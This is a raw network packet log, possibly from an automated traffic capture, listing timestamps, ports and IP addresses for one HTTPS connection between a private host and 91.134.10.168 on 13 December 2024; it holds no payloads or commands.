Dec 13, 2024 13:28:40.682975054 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:40.683043003 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:40.684381008 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:40.684434891 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:40.740979910 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:40.741055012 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:40.741899014 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:40.741966963 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:40.743767977 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:40.743828058 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:40.745739937 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:40.745795965 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:40.746927023 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:40.746977091 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:40.748851061 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:40.748908043 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:40.750713110 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:40.750776052 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:40.751877069 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:40.751941919 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:40.753731012 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:40.753792048 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:40.756023884 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:40.756105900 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:40.757102013 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:40.757155895 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:40.758853912 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:40.758908033 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:40.760662079 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:40.760721922 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:40.761766911 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:40.761821032 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:40.763834000 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:40.763912916 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:40.765630960 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:40.766796112 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:40.766839981 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:40.766849041 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:40.766868114 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:40.768759012 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:40.768820047 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:40.768826962 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:40.768865108 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:40.770618916 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:40.770695925 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:40.771775961 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:40.771850109 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:40.774178982 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:40.774261951 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:40.775187969 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:40.775259972 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:40.777261019 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:40.777316093 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:40.779093027 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:40.779155970 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:40.780306101 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:40.780360937 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:40.782114983 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:40.782171011 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:40.784010887 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:40.784066916 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:40.785176992 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:40.785231113 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:40.787132978 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:40.787185907 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:40.789022923 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:40.789103985 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:40.875375986 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:40.875452995 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:40.876467943 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:40.876527071 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:40.933072090 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:40.933144093 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:40.934108973 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:40.934160948 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:40.936033964 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:40.936091900 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:40.938061953 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:40.938112020 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:40.939097881 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:40.939152956 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:40.941168070 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:40.941217899 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:40.943068981 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:40.943144083 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:40.944293976 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:40.944361925 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:40.946300983 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:40.946367979 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:40.947957993 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:40.948033094 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:40.949083090 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:40.949148893 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:40.951129913 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:40.951281071 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:40.951289892 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:40.951482058 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:40.952944994 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:40.952996969 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:40.954039097 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:40.954085112 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:40.955986023 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:40.956041098 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:40.957812071 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:40.957863092 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:40.959867001 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:40.959945917 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:40.961178064 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:40.961230040 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:40.962814093 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:40.962901115 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:40.964824915 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:40.964869022 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:40.966289997 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:40.966344118 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:40.967396021 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:40.967468977 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:40.969419003 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:40.969470978 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:40.971298933 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:40.971363068 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:40.972343922 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:40.972393990 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:40.974642992 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:40.974704027 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:40.976413965 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:40.976468086 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:40.978214979 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:40.978271008 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:40.979285002 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:40.979337931 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:40.981156111 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:40.981219053 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:41.067887068 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:41.067979097 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:41.069689035 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:41.069736958 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:41.125260115 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:41.125339985 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:41.127053976 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:41.127140045 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:41.128163099 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:41.128213882 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:41.130132914 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:41.130192995 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:41.132035017 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:41.132091999 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:41.133116007 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:41.133173943 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:41.135102034 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:41.135154963 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:41.136985064 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:41.137032986 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:41.138977051 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:41.139034986 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:41.140090942 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:41.140139103 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:41.141948938 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:41.142000914 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:41.143959999 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:41.144020081 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:41.145045042 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:41.145104885 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:41.147572041 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:41.147624016 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:41.149074078 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:41.149132013 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:41.150122881 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:41.150182962 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:41.152026892 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:41.152107954 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:41.153935909 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:41.153995037 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:41.154975891 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:41.155028105 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:41.157330990 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:41.157390118 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:41.158452988 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:41.158510923 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:41.160311937 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:41.160376072 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:41.162369013 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:41.162419081 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:41.163434982 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:41.163539886 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:41.165373087 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:41.165429115 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:41.167397976 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:41.167442083 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:41.168422937 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:41.168476105 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:41.170394897 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:41.170460939 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:41.172255993 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:41.172317028 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:41.259394884 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:41.259462118 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:41.259882927 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:41.259934902 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:41.316804886 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:41.316864967 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:41.317408085 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:41.317462921 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:41.319510937 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:41.319600105 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:41.321429014 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:41.321489096 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:41.322537899 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:41.322592974 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:41.324436903 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:41.324512005 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:41.326359034 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:41.326411963 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:41.327438116 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:41.327502012 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:41.329349995 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:41.329408884 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:41.331365108 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:41.331427097 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:41.332556009 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:41.332608938 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:41.334717989 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:41.334773064 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:41.336277962 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:41.336335897 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:41.337330103 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:41.337389946 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:41.339413881 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:41.339478970 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:41.341308117 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:41.341353893 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:41.342353106 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:41.342406034 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:41.344369888 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:41.344434977 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:41.346293926 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:41.346357107 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:41.347389936 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:41.347462893 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:41.349674940 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:41.349755049 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:41.350799084 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:41.350857019 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:41.352822065 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:41.352879047 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:41.354625940 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:41.354682922 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:41.355762959 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:41.355824947 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:41.357728004 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:41.357789040 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:41.359580994 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:41.359643936 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:41.360749960 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:41.360832930 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:41.362706900 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:41.362787962 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:41.364566088 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:41.364664078 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:41.451713085 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:41.452378988 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:41.452786922 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:41.453139067 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:41.509251118 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:41.509346008 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:41.510652065 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:41.510819912 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:41.511667013 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:41.511773109 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:41.513689041 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:41.513825893 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:41.515408993 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:41.515485048 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:41.516635895 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:41.516736031 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:41.518656015 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:41.518703938 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:41.520401955 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:41.520565033 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:41.521574020 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:41.521866083 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:41.523447037 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:41.523987055 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:41.525345087 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:41.525413036 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:41.526504040 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:41.526674986 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:41.528497934 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:41.528548002 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:41.530322075 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:41.530422926 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:41.532294989 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:41.532355070 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:41.533411026 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:41.533474922 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:41.535279989 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:41.535331964 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:41.537293911 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:41.537391901 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:41.538384914 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:41.538914919 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:41.540692091 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:41.540899992 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:41.541989088 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:41.542051077 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:41.543781996 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:41.543927908 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:41.544898033 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:41.545085907 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:41.546960115 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:41.547096014 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:41.548747063 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:41.548819065 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:41.550810099 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:41.550884008 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:41.551876068 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:41.552088022 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:41.553713083 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:41.553766966 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:41.555710077 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:41.555788994 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:41.556777954 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:41.556952000 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:41.644177914 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:41.644248009 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:41.645451069 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:41.645555973 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:41.701370001 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:41.701458931 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:41.702393055 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:41.702450991 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:41.704405069 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:41.704474926 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:41.706135988 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:41.706233978 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:41.707355022 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:41.707510948 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:41.709363937 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:41.709476948 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:41.711102009 CET	443	49732	91.134.10.168	192.168.2.10
